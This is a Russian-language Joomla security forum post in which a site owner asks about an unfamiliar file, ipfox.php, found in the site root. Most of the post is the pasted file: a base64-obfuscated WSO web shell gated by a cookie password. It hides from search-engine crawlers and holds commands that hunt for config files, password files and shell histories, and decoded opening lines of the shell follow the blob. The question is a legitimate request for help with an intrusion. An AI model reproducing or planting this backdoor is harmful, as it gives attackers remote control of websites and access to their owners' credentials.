Что за странный файл в корне сайта- ipfox.php ? - Безопасность сайтов на Joomla

<?php $_s='CmlmKGlzc2V0KCRfQ09PS0lFWydjbWRwd2QnXSkgJiYgbWQ1KCRfQ09PS0lFWydjbWRwd2QnXSkgPT0gJzA3NDQwMTc3MWQwNzBjOTc1OGIxZTAzNWMwZWEwYzFmJyl7CiRhdXRoX3Bhc3MgPSAiIjsKJGNvbG9yID0gIiNkZjUiOwokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwokZGVmYXVsdF91c2VfYWpheCA9IHRydWU7CiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsKCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAgICAgQGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAaW5pX3Jlc3RvcmUoJ29wZW5fYmFzZWRpcicpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1ZFUlNJT04nLCAnMy4wJyk7CgppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CglmdW5jdGlvbiBXU09zdHJpcHNsYXNoZXMoJGFycmF5KSB7CgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKCX0KCSRfUE9TVCA9IFdTT3N0cmlwc2xhc2hlcygkX1BPU1QpOwogICAgJF9DT09LSUUgPSBXU09zdHJpcHNsYXNoZXMoJF9DT09LSUUpOwp9CgpmdW5jdGlvbiB3c29Mb2dpbigpIHsKCWRpZSgiPHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+Iik7Cn0KCmZ1bmN0aW9uIFdTT3NldGNvb2tpZSgkaywgJHYpIHsKICAgICRfQ09PS0lFWyRrXSA9ICR2OwogICAgc2V0Y29va2llKCRrLCAkdik7Cn0KCmlmKCFlbXB0eSgkYXV0aF9wYXNzKSkgewogICAgaWYoaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MpKQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJGF1dGhfcGFzcyk7CgogICAgaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJGF1dGhfcGFzcykpCiAgICAgICAgd3NvTG9naW4oKTsKfQoKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKQoJJG9zID0gJ3dpbic7CmVsc2UKCSRvcyA9ICduaXgnOwoKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoISRzYWZlX21vZGUpCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7CgokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGhvbWVfY3dkID0gQGdldGN3ZCgpOwppZihpc3NldCgkX1BPU1RbJ2MnXSkpCglAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwppZigkb3MgPT0gJ3dpbicpIHsKCSRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsKCSRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOwp9CmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJykKCSRjd2QgLj0gJy8nOwoKaWYoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSkpCiAgICAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkZGVmYXVsdF91c2VfYWpheDsKCmlmKCRvcyA9PSAnd2luJykKCSRhbGlhc2VzID0gYXJyYXkoCgkJIkxpc3QgRGlyZWN0b3J5IiA9PiAiZGlyIiwKICAgIAkiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwKICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwKICAgIAkiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiAgICAJIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiAgICAJIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLAoJCSJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKCSk7CmVsc2UKCSRhbGlhc2VzID0gYXJyYXkoCiAgCQkiTGlzdCBkaXIiID0+ICJscyAtbGhhIiwKCQkibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwKICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLAogICAgICAgICJwcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsCgkJIkZpbmQiID0+ICIiLAogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAJCSJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAJCSJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgCQkiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKICAJCSJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogIAkJImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAJCSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogIAkJImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKCQkiTG9jYXRlIiA9PiAiIiwKICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKCQkibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKCQkibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAoJCSJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKCQkibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLAoJCSJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCgkJImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAoJCSJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCgkJImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAoJCSJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLAoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAoJCSJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAoJCSJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKCQkibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLAoJCSJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAoJCSJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwKCQkibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIKCSk7CgpmdW5jdGlvbiB3c29IZWFkZXIoKSB7CglpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107CglnbG9iYWwgJGNvbG9yOwogICAgQGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Jy4kX1BPU1RbJ2NoYXJzZXQnXSk7CgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NUWydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBXU08gIiAuIFdTT19WRVJTSU9OIC4iPC90aXRsZT4KPHN0eWxlPgpib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KYm9keSx0ZCx0aHsgZm9udDogOXB0IEx1Y2lkYSxWZXJkYW5hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDtjb2xvcjojZTFlMWUxOyB9CnRhYmxlLmluZm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9CnNwYW4saDEsYXsgY29sb3I6ICRjb2xvciAhaW1wb3J0YW50OyB9CnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0KaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7IH0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDVweDttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzOyB9CmF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9Ci5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDozMDBweDsgfQppbnB1dC....

if(isset($_COOKIE['cmdpwd']) && md5($_COOKIE['cmdpwd']) == '074401771d070c9758b1e035c0ea0c1f'){
$auth_pass = "";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSN

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents). '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}